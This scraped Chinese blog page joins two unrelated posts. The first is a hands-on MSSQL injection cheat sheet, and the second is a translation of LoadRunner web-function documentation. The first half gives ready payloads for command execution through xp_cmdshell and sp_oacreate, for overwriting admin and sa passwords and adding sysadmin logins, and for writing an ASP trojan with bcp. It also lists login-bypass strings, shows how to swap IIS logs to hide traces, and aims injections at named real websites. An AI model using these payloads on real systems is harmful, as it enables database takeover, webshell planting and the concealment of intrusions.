最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用,
一般没有哪个管理员这么设置普通帐户权限的

实用性不强,仅作为一个学习总结吧



大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,
我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败
需要找一个一般用户可访问的mdb才可以:

? 新建链接服务器"L0op8ack":EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
? exec sp_addlinkedsrvlogin 'L0op8ack','false';--或
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
? select * FROM OPENQUERY(L0op8ack, 'select shell("cmd.exe /c net user")');--
? exec sp_droplinkedsrvlogin 'L0op8ack','false';--
? exec sp_dropserver 'L0op8ack';--


再考贝一个其它文件来代替7.18日文件:
(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END



(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

9、 用update来更新表中的数据:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--
www用户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1;
32位MD5值为: ,密码为


10、 利用表内容导成文件功能
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
命令行格式如下:
bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)。

11、创建表、播入数据和读取数据的方法
? 创建表:
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
? 往表里播入数据:
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
? 从表里读取数据:
' and 1=(select count(*) from cyfd where gyfd >1)--



? 删除临时表:
';drop table cyfd;--



12、通过SQL语句直接更改sa的密码:
? update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。

? 查看本机所有的数据库用户名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins

? 更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,'新密码','sa'



13、查询dvbbs库中所有的表名和表结构:
? select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
? select * from dvbbs.dbo.syscolumns where id=1426104121

14、手工备份当前数据库:
完全备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--
差异备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT—

15、添加和删除一个SA权限的用户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin


cmd.exe /c isql -E /U alma /P /i K:\test.qry



16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0
就可以列出库ChouYFD中所有的用户建立的表名。
select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0



17、
? http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns (where id=1234)
列出rdweb库中所有表中的字段名称
? select * from dvbbs.dbo.syscolumns where id=5575058
列出库dvbbs中表id=5575058的所有字段名



18、删除记录命令:delete from Dv_topic where boardid=5 and topicid=7978


19、绕过登录验证进入后台的方法整理:
1) ' or''='
2) ' or 1=1--
3) ' or 'a'='a--
4) 'or'='or'
5) " or 1=1--
6)or 1=1--
7) or 'a='a
8)" or "a"="a
9) ') or ('a'='a
10) ") or ("a"="a
11) ) or (1=1
12) 'or''='
13) 人气%' and 1=1 and '%'='



20、寻找网站路径的方法汇总:
1)查看WEB网站安装目录命令:
? cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt (将2换成1、3、4、5试试)
type c:\test1.txt
del c:\test1.txt
在NBSI下可以直接显示运行结果,所以不用导出到文件



2)在网站上随便找到一个图片的名字 123.jpg
然后写进批处理程序123.bat:
d:
dir 123.jpg /s >c:\123.txt
e:
dir 123.jpg /s >>c:\123.txt
f:
dir 123.jpg /s >>c:\123.txt

执行后 type c:\123.txt
这样来分析网站的路径

3)SQL服务器和网站服务器在同一个服务器上,好了是可以执行命令是吧?
将执行命令输出结果到
%windir%\help\iishelp\common\404b.htm或者500.asp
注意输出前Backup这两个文件
如:
dir c:\ >%windir%\help\iishelp\common\404b.htm
然后随便输入一个文件来访问:http://目标ip/2.asp

4)针对win2000系统:xp_regread读取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 获取WEB路径
2003系统:xp_regread读取,未找到方法
如:
(1) 新建一个表cyfd(字段为gyfd):http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--
(2) 把web路径写进去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
(3) 还是让他不匹配,显示错误:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
Description: 将 varchar 值 'Y:\Web\烟台人才热线后台管理系统,,201 ' 转换为数据类型为 int 的列时发生语法错误。
TargeSite: Boolean Read() 哈哈哈。。路径暴露了。。
(4)接下来删除表:http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--

5)用regedit命令导出注册表,将导出的结果保存的路径到%windir%\help\iishelp\common\404b.htm或者500.asp页面
regedit命令说明:
Regedit /L:system /R:user /E filename.reg Regpath
参数含义:
/L:system指定System.dat文件所在的路径。
/R:user指定User.dat文件所在的路径。
/E:此参数指定注册表编辑器要进行导出注册表操作,在此参数后面空一格,输入导出注册表的文件名。
Regpath:用来指定要导出哪个注册表的分支,如果不指定,则将导出全部注册表分支。在这些参数中,"/L:system"和"/R:user"参数是可选项,如果不使用这两个参数,注册表编辑器则认为是对WINDOWS目录下的"system.dat"和"user.dat"文件进行操作。如果是通过从软盘启动并进入DOS,那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径,否则注册表编辑器将无法找到它们。比如说,如果通过启动盘进入DOS,则备份注册表的命令是"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",该命令的意思是把整个注册表备份到WINDOWS目录下,其文件名为"regedit.reg"。而如果输入的是 "regedit /E D:\regedit.reg"这条命令,则是说把整个注册表备份到D盘的根目录下(省略了"/L"和"/R"参数),其文件名为 "Regedit.reg"。

regedit /s c:\adam.reg (导入c:\adam.reg文件至注册表)
regedit /e c:\web.reg (备份全部注册内容到c:\web.reg中)
针对win2000系统:C:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
然后http://目标IP/2.asp
针对win2003系统:没有找到,希望找到的朋友公布出来一起讨论。


6)虚拟主机下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的备份文件,是允许web用户访问的,如果你的iis备份到这里,用webshell下载下来后用记事本打开,可以获取对应的域名和web绝对路径。



7)SQL注入建立虚拟目录,有dbo权限下找不到web绝对路径的一种解决办法:
我们很多情况下都遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错:
? 建立虚拟目录win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
? 让win目录具有解析asp脚本权限:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:'
? 删除虚拟目录win:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
? 测试:http://127.0.0.1/win/test.asp
8)利用SQL语句来查找WEB目录:根据经验,猜疑WEB根目录的顺序是:d盘、e盘、c盘,首先我们建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句:
;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段表示目录的名称,depth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树,语句如下:



;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--

在进行下面的操作前,先查看D盘有几个文件夹,这样对D盘有个大致的了解,语句如下:
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=数字(数字=0、1、2、3...)

接着,我们在对方的网站上找几个一级子目录,如user、photo,然后,用筛选的方法来判断WEB根目录上是否存在此盘上,语句如下:
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)



看语句的返回结果,如果为真,表示WEB根目录有可能在此盘上,为了进一步确认,多测试几个子目录:
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)

...



如果所有的测试结果都为真,表示WEB根目录很有可能在此盘上。



下面假设找到的WEB根目录在此盘上,用以下的语句来获得一级子目录的深度:
and (select depth from temp where dir='user')>=数字(数字=1、2、3...)

假设得到的depth是3,说明user目录是D盘的3级目录,则WEB根目录是D盘的二级目录。


目前我们已经知道了根目录所在的盘符和深度,要找到根目录的具体位置,我们来从D盘根目录开始逐一搜寻,当然,没有必要知道每个目录的名称,否则太耗费时间了。


接下来,另外建立一个临时表,用来存放D盘的1级子目录下的所有目录,语句如下:

;create table temp1(dir nvarchar(255),depth varchar(255));--



然后把从D盘的第一个子目录下的所有目录存到temp1中,语句如下:
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的第二个子目录下的所有目录存到temp1中,只需把第二个top 1改为top 2就行了。

现在,temp1中已经保存了所有D盘第一级子目录下的所有目录,然后,我们用同样的方法来判断根目录是否在此一级子目录下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下,然后我们在用同样的方法来获得D盘第 2、3...个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除。



现在假设,WEB根目录在D盘的第一级子目录下,该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2,我们需要知道website下到底哪个才是真正的WEB根目录。

现在,我们用同样的方法,再建立第3个临时表:
;create table temp2(dir nvarchar(255),depth varchar(255));--


然后把从D盘的website下的所有目录存到temp2中,语句如下:
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中,只需把第二个top 1改为top 2就行了。

现在,我们用同样的方法判断该目录是否为根目录:
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
如果返回为真,为了确定我们的判断,多测试几个例子,方法上面都讲到了,如果多个例子都返回为真,那么就确定了该目录为WEB根目录。

用以上的方法基本上可以获得WEB根目录,现在我们假设WEB根目录是:D:\website\www
然后,我们就可以备份当前数据库到这个目录下用来下载。备份前我们把temp、temp1、temp2的内容清空,然后C、D、E盘的目录树分别存到temp、temp1、temp2中。



下载完数据库后要记得把三个临时表drop掉,现在我们在下载的数据库中可以找到所有的目录列表,包括后台管理的目录以及更多信息。
转自:http://www.cnblogs.com/junzhongxu/

2008年11月17日星期一

LoadRunner函数中文翻译系列之四

web_find

 语法:
 int web_find (const char *StepName, , char *searchstring, LAST );

参数:
 1、StepName:步骤名称,在Tree视图中出现。

2、Attributes and Specifications list:

支持的属性有:

Frame:在多Frame的情况下,定义要查找Frame的范围。

Expect:定义在什么情况下函数检查成功:找到了指定的搜索标准或者没有找到。例如说,可以检查指定的错误信息是否出现在web页面中。合法的值有2个:found和notfound。默认值是“found”。

Matchcase:指定搜索是否区分大小写。

Repeat:指定当第一次发现要查找的字符串时,搜索是否继续。当一个web页面中包含多个被查找的字符串时,此参数是非常有用的。合法的值有2个:yes,no。默认值是“yes”。

Report:指定在什么情况下,VuGen在执行日志中显示此函数的检查结果。合法的值有:success,failure,always。默认值是“always”。

Onfailure:此参数决定在函数检查失败后,Vuser是否中断。参数值是abort。如果指定了Onfailure=abort,当函数检查失败时,不论在运行时设置中的error-handling是什么,脚本都会中断。

如果没有指定Onfailure=abort,那么运行时设置中error-handling将会起作用。

支持的特性有:RightOf, LeftOf (不支持7.x及更高版本)。

RightOf:要查找的字符串右边的内容。

LeftOf:要查找的字符串左边的内容。

3、Searchstring:需要查找的字符串,格式为“What=stringxyz”。此搜索不区分大小写。

4、LAST:属性列表结束符。

返回值
 整型。 成功时返回LR_PASS(0),失败时返回LR_FAIL (1)。

说明
 此函数的作用是在HTML页面中查找指定的字符串。

此函数只能在基于HTML录制的脚本中使用。当指定的HTML请求全部完成以后,开始执行搜索过程,比web_reg_find要慢。

web_find函数在C语言的脚本中已经被web_reg_find所替代,web_reg_find运行速度比较快,而且在HTML-based和URL-based的录制方式中都可以使用。 在C语言脚本中,web_find是向后兼容的。Java和Visual Basic脚本中不再支持它。

运行在HTTP模式下的WAP用户都和运行在WSP回放模式下的WAP用户都不支持此函数。

web_global_verification

 语法:
 int web_global_verification (, LAST );

参数:
 List of Attributes:

1、Text:此属性是一个非空的,以NULL结尾的字符串,表示要查找的内容。语法是”Text=string”。还可以使用text flags自定义字符串。

2、TextPfx:没有指定Text的情况下使用此属性。要查找的字符串的前缀。语法是” TextPfx =string”。还可以使用text flags自定义字符串。

3、TextSfx:没有指定Text的情况下使用此属性。要查找的字符串的后缀。语法是” TextSfx =string”。还可以使用text flags自定义字符串。

4、Search:可选项,在哪里查找字符串。可选的值是:Headers,Body,NORESOURCE或All。默认值是NORESOURCE。语法是“Search=value”。

5、Fail:当字符串找不到时的处理选项:Found (默认值)或NotFound。Found表示当找到对应的字符串时发生了错误(例如“Error”)。NotFound表示当找不到字符串时发生了错误。语法是“Fail=value“。

6、ID:在日志文件中标识当前函数。

LAST:属性列表结束符。

注:text flags:/IC表示忽略大小写;/BIN表示指定的是二进制数据。

返回值
 整型。 成功时返回LR_PASS(0),失败时返回LR_FAIL (1)。

说明
 web_global_verification属于注册函数,注册一个在web页面中搜索文本字符串的请求,与web_reg_find只在下一个Action函数中执行搜索不同的是,它是在之后所有的Action类函数中执行搜索的。可以搜索页面的body,headers,html代码或者是整个页面。

在检测一些应用程序级别(不通过http状态码来表现)的错误时,web_global_verification是非常有用的。如果要定位通过HTTP状态码表现的错误时,使用web_get_int_property。

查找范围:all:这个HTML页面;Headers:页面的头;body:页面的体,包含所有的资源但不包含头;NORESOURCE(默认选项):仅仅包含页面的体,把包括头和资源。

如果不知道要查找的精确的文本,或者要查找的多个文本不是完全相同的,可以使用前缀和后缀来表示。这时需要用到TextPfx和TextSfx属性。这2个属性必须同时指定,一旦指定了其中一个,就不能指定Text属性了。

注意:web_global_verification在WAP协议下不能运行。

web_image_check

 语法:
 int web_image_check(const char *CheckName, , <"Alt=alt"|| "Src=src">, LAST );

参数:
 1、CheckName:名称,在Tree视图中出现。

2、List of Attributes:

支持的属性有:Frame(在多Frame的情况下,定义要查找Frame的范围)。

支持的选项有:expect, matchcase, repeat, report, onfailure。

Tip:选项跟属性的区别,大部分选项都只允许设置预定义的值,其他的值都是无效的。

3、Alt:检查图象的ALT标记。不允许空值。

4、Src:检查图象的SRC标记。不允许空值。

5、LAST:参数列表结束的指示符。

返回值
 整型。

说明
 web_image_check检查指定的图象是否在HTML页面中出现。

Alt或者Src两者必须有一个在参数列表中出现。如果两项都通过,那么检查成功。

此函数仅仅支持基于HTML的脚本。

 web_reg_add_cookie

 语法:
 int web_reg_add_cookie(const char * cookie, const char * searchstring, LAST );

参数:
 1、Cookie:定义需要增加或修改的Cookie。

Cookie的参数格式为:=VALUE; (required);domain=DOMAIN_NAME;(required);expires=DATE;path=PATH;(default path is "/");secure。

此参数中的cookie元素和HTTP响应头中的Set-Cookie是相同的。例如“Session=1234;domain=sanditon.com”,在这里,“Session”是cookie的名称。

2、Searchstring:要查找的文本字符串。字符串不能为空,以null结尾。格式为“Text=string”。

3、LAST:属性列表的结束符。

返回值
 整型。 成功时返回LR_PASS(0),失败时返回LR_FAIL (1)。

说明
 web_reg_add_cookie是注册类型的函数。它首先注册一个搜索文本字符串的请求。检查动作在后续的Action函数之后进行。如果字符串被找到,就添加到cookie中。

需要注意,尽管web_reg_add_cookie在功能上跟HTTP Set_Cookie头相似,它们还是有个明显的区别。 根据HTTP标准,domain属性在Set-Cookie头中是可选的。如果没有指定,默认的domain的值是产生cookie的服务器的host name。当使用web_reg_add_cookie函数时,服务器的hostname对于压力测试的机器来说是不可用的,所以domain属性是必选项。

此函数在HTML-based 和URL-based的脚本中都可以使用。(参照录制选项的录制标签页)。此函数是在服务器内容到达客户端之前注册搜索请求的,所以当所请求的内容一到就会执行搜索操作,脚本会比较高性。

web_reg_add_cookie是用户手动添加的,无法录制。

web_reg_find

 语法:
 int web_reg_find (const char *attribute_list, LAST);

参数:
 1、attribute_list:

通过Name=Value对来传递参数。例如“Text=string”。Text,TextPfx,TextSfx三个必须有一个出现。其他的属性是可选的。

a) Text:要搜索的字符串,字符串必须非空,以NULL结尾。可以使用text flags自定义搜索字符串。

b) TextPfx:要搜索的字符串的直接前缀。

c) TextSfx:要搜索的字符串的直接后缀。

d) Search:搜索的范围。可选的值是:Headers 、Body(在请求体中搜索)、Noresource (仅仅在HTML请求体中搜索,不包括头和资源)、ALL (在请求体、头和资源中搜索),默认值是“BODY”。

e) SaveCount:匹配的个数。

f) Fail:设置函数检查在什么状态下失败。

g) ID:日志文件中标识此函数的一个字符串。

h) RelFrameId:相关联的FrameId。注意:此参数在GUI级别的脚本中不受支持。

2、LAST:属性列表结束的标记符。

返回值
 整型。 成功时返回LR_PASS(0),失败时返回LR_FAIL (1)。

说明
 web_reg_find属于注册函数,注册一个在web页面中搜索文本字符串的请求,在接下来的Action(象web_url)类函数中执行搜索。

通过查找期望的字符是否存在来验证是否返回了期望的页面。例如,通过查找“Welcome”来检查主页是否完全打开了。也可以查找“Error”检查浏览器是否发生错误。还可以使用此函数注册一个请求来统计特定字符串出现的次数。

如果检查失败,在接下来的Action类的函数中会报告错误。此函数仅仅注册请求,并不执行。函数的返回值只表明注册是否成功,并不表示检查的结果。

此函数不仅能够查找text,还能查找到围绕着text的strings。不要同时指定text和前缀后缀。

Fail,处理选项,可以是“Found或“NotFound”。默认是“NotFound”。

“Fail=Found” 指示当对应的字符找到时,函数检查失败。例如,查找单词“Error”,如果找到了,说名web请求没有成功,你想把函数检查设置为失败。

“Fail=NotFound”指示当对应的字符找不到时,函数检查失败。如果查找的是web请求成功时出现的字符串时,需要使用NotFound。

SaveCount参数指示保存到参数中的匹配的字符串的个数。使用这个属性,需要指定“SaveCount=param”。检查操作被执行后,param 的值是null结尾的数字类型的值。

如果指定了SaveCount,且没有使用Fail参数,检查不会失败,无论需要查找的字符串是否找到。通过检查SaveCount的值确定字符串是否被找到。 如果param是0,说明没有找到对应的字符串。

如果同时指定了SaveCount和Fail,指定的错误处理选项和SaveCount协同工作。 handling option specified works together with the SaveCount. Thus,如果指定了SaveCount且指定了“Fail=NotFound” ,但是字符串被找到,SaveCount被赋值为字符串出现的次数,检查成功。如果字符串找不到,SaveCount被赋值为0,检查失败(注意,参数的0值只在运行时设置中Continue on error 选中时才有意义)。

此函数在HTML-based和URL-based的脚本中都可以使用。此函数是在所请求内容到达之前注册搜索请求的,所以当所请求内容一到达后就会执行搜索,产生的脚本比较高效。



web_concurrent_start

 语法:
 int web_concurrent_start ( [char * ConcurrentGroupName,] NULL );

参数:
 ConcurrentGroupName:可选的,并发组的标识符。

NULL:参数列表结束的标记符。

返回值
 整型。返回LR_PASS (0)表示成功,返回LR_FAIL (1)表示失败。

说明
 web_concurrent_start函数是并发组开始的标记。组中所有的函数是并发执行的。并发组的结束web_concurrent_end 函数。在并发组中,可以包含的函数有:web_url、web_submit_data、web_custom_request、web_create_html_param、web_create_html_param_ex、web_reg_save_param、web_add_header。

在并发组中的函数不是立即执行的。在并发组开始时,所有的函数首先被记录下来,当并发组结束时,所有的函数并发执行。

所有的Web 用户,HTTP模式下的WAP用户持本函数。运行在Wireless Session Protocol(WSP)回放模式下的WAP虚拟用户,不支持本函数。

web_concurrent_start

 语法:
 int web_concurrent_end ( reserved );

参数:
 reserved:保留的供扩展的字段。

返回值
 整型。返回LR_PASS (0)表示成功,返回LR_FAIL (1)表示失败。

说明
 web_concurrent_end,并发组结束的标记。脚本执行时,碰到 web_concurrent_end函数时,开始并发执行所有记录的函数。

在并发组中的函数不是立即执行的。在并发组开始时,所有的函数首先被记录下来,当并发组结束时,所有的函数并发执行。

可以并发执行的函数的个数是有限制的,使用运行时设置-Netword标签页的Concurrent Connection来设置。
转自:http://www.cnblogs.com/junzhongxu/

LoadRunner函数中文翻译系列之三

web_custom_request

 语法:
 Int web_custom_request (const char *RequestName, ,

[EXTRARES, ,] LAST );

返回值
 返回LR_PASS(0)代表成功,LR_FAIL(1)代表失败。

参数:
 RequestName:步骤的名称,VuGen中树形视图中显示的名称。

List of Attribute:支持的属性有以下几种:

1. URL:页面地址。

2. Method :页面的提交方式,POST或GET。

3. TargetFrame:包含当前链接或资源的frame的名称。参见List of Attributes的同名参数。

4. EncType:编码类型。

5. RecContentType:响应头的内容类型。参见List of Attributes的同名参数。

6. Referer:参见List of Attributes的同名参数。

7. Body:请求体。参见List of Attributes的同名参数。

8. RAW BODY:参见List of Attributes的同名参数。

9. BodyFilePath:作为请求体传送的文件的路径。它不能与下面的属性一起使用:Body,或者其他Body属性或Raw Body属性包括BodyBinary,BodyUnicode, RAW_BODY_START或Binary=1。

10. Resource、ResourceByteLimit、Snapshot、Mode:参见List of Attributes的同名参数。

11. ExtraResBaseDir:参见List of Attributes的同名参数。

12. UserAgent:用户代理,它是一个HTTP头的名字,用来标识应用程序,通常是浏览器,它呈现的是用户和服务器的交互。

例如:头信息“User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)”识别的是Window NT下的IE浏览器6.0。其他的User-Agent的值用来描述其他的浏览器,或者非浏览器程序。通常,一个应用程序中所有的请求都使用相同的用户代理,录制者作为一个运行时参数来指定(Run-Time Setting—Browser Emulation—User Agent)。不管怎么说,即使是在一个简单的浏览器进程中,仍有可能会用到直接与服务器交互的非浏览器组件(例如ActiveX控件),通常他们有着不同于浏览器的用户代理属性。指定“UserAgent”表示这是一个非浏览器的请求。指定的字符串被HTTP头“User-Agent:” 使用,在某些情况下,它同时会影响回放脚本时的行为。例如,不使用浏览器缓存,假设指定的URL属于资源等等。

LoadRunner本身不检查指定的字符串与浏览器本身的值是否相同。

13. Binary:“Binary=1”表示页面请求体中的每一个以\\x##形式出现的值(在这里“##”代表2个十六进制数字),都会被替换为单字节的十六进制的值。

如果“Binary=0”(默认值),所有的字符序列只是按照字面的值传递。

需要注意双斜杠的用法。在C编译器中双斜杠被解释为单斜杠。如果不需要零字节,单斜杠可以在Binary不等于1的情况下使用(例如,使用\x20代替\\x20)。如果需要零字节,那么只能使用\\x00且设置 “Binary=1”,\x00在逻辑上会被截断。

14. ContentEncoding

指定请求体的使用指定的方式(gzip或者deflate)进行编码(例如,压缩),相应的“Content-Encoding:” HTTP头会和此请求一起发送。这个参数适用于web_custom_request和web_submit_data。

EXTRARES:表明下面的参数将会是List Of Resource Attributes了。

LAST :结尾的标示符。

List of Attributes

 FtpAscii:“1”使用ASCII模式处理FTP操作;"0" 使用二进制模式。

TargetFrame: 当前链接或资源所在Frame的名称。除了Frame的名字,还可以指定下面的参数:

_BLANK:打开一个空窗口。

_PARENT:把最新更改过的的Frame替换为它的上级。

_SELF:替换最新更改过的的Frame。

_TOP:替换整个页面。

RecContentType:录制脚本时响应头的内容类型。例如text/html、 application/x-javascript等。当没有设置Resource属性时,用它来确定目标URL是否是可记录的资源。此属性包含主要的和次要的资源。最频繁使用的类型是 text、application、image。次要的类型根据资源不同变化很多。例如:"RecContentType=text/html":表示html文本。"RecContentType=application/msword":表示当前使用的是Msword。

Referer: 当前页面关联的页面。如果已经显式指定了url的地址,此项可以省略。

Resource:指示URL是否属于资源。1 是;0 不是。设置了这个参数后,RecContentType参数被忽略。“Resource=1”,意味着当前操作与所在脚本的成功与否关系不大。在下载资源时如果发生错误,是当作警告而不是错误来处理的;URL是否被下载受“Run-Time Setting—Browser Emulation--Download non-HTML resources” 这个选项的影响。此操作的响应信息是不做为HTML来解析的。“Resource=0”,表明此URL是重要的,不受发送请求(RTS)的影响,在需要时也会解析它。

ResourceByteLimit:web页面下载资源的极限大小。当达到设置的极限后,无法下载其他资源。仅仅对需要下载的资源有效。

下载过程:如果总计下载大小小于极限值,则正常开始下载。如果当下载时达到了设置的极限值,资源大小可知(在HTTP响应头中指定了Content-Length),这中情况下,如果只需要一个缓冲区,那么下载可以正常完成。如果需要的不止一个缓冲区,或者资源大小不可知,下载就会中断同时关闭当前连接。

这个特性可以用来模拟用户不等待一个页面下载完成时导航到另一个页面的情况。

ResourceByteLimit 在HTTP模式中无法使用,在Concurrent Groups(Vuser脚本中的一个区,此区中的所有函数并发执行)区中也无法使用。仅仅适用于Sockets的回放,WinInet也是不适用的。

Snapshot:快照的文件名,关联时使用。

Mode:两种录制级别HTML、HTTP。

HTML级别:在当前Web界面上录制直观的HTML动作。以一步步的web_url、web_link、web_image、web_submit_form来录制这些动作。VuGen仅仅录制返回HTML页面的请求,不处理脚本和应用程序。

HTTP级别:VuGen把所有的请求录制为web_url指令,不生成web_link、web_image、web_submit_form这些函数。这种方法更为灵活,但是生成的脚本不够直观。

ExtraResBaseDir(目前仅适用与web_custom_request函数):根URL,放在EXTRARES组里。它是用来解析相对URL的(译者加:类似于Windows的相对路径和绝对路径)。

URL可以是绝对路径(例如http://weather.abc.com/weather/forecast.jsp?locCode=LFPO),也可以是相对路径(例如“forecast.jsp?locCode=LFPO”)。

真正的URL的下载是通过绝对路径进行的,所以相对URL路径必须使用根路径URL去解析。例如,使用http://weather.abc.com/weather/做为根路径来解析“forecast.jsp?locCode=LFPO”,最后的URL是:http://weather.abc.com/weather/forecast.jsp?locCode=LFPO。如果没有指定“ExtraResBaseDir”,默认的根URL是主页面的URL。

Body(目前仅适用与web_custom_request函数):请求体。不同的应用中,请求体分别通过Body、BodyBinary或者BodyUnicode参数来传递。请求体可以只使用其中一个参数,也可以使用一连串的分开的参数组成多请求体。例如:

web_custom_request(

……

"BodyUnicode=REPRICE"

"BodyBinary=\\x08\\x00\\xCC\\x02\\x00\\x00"

"Body=.\r\n"

"-dxjjtbw/(.tp?eg:ch/6--\r\n",

LAST);

在上面的代码中,使用了3个参数来划分请求体,一个是Unicode段,一个是二进制段,最后一个是常规的字符串。最终的请求体是这3个参数按照在函数中的顺序连接起来的值。

还有一个很少用到的参数,Binary。它也能描述二进制请求体,但只允许函数中只有一个请求体参数。

